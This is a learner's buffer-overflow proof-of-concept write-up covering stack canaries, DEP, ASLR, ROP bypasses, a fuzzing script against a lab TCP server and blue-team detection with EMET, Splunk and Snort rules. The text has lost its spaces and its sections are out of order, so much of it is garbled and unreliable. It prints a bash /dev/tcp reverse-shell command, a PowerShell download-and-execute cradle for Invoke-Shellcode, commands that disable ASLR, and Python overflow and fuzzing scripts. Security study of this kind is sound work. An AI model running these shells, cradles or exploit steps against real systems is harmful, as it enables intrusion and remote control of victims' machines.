overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

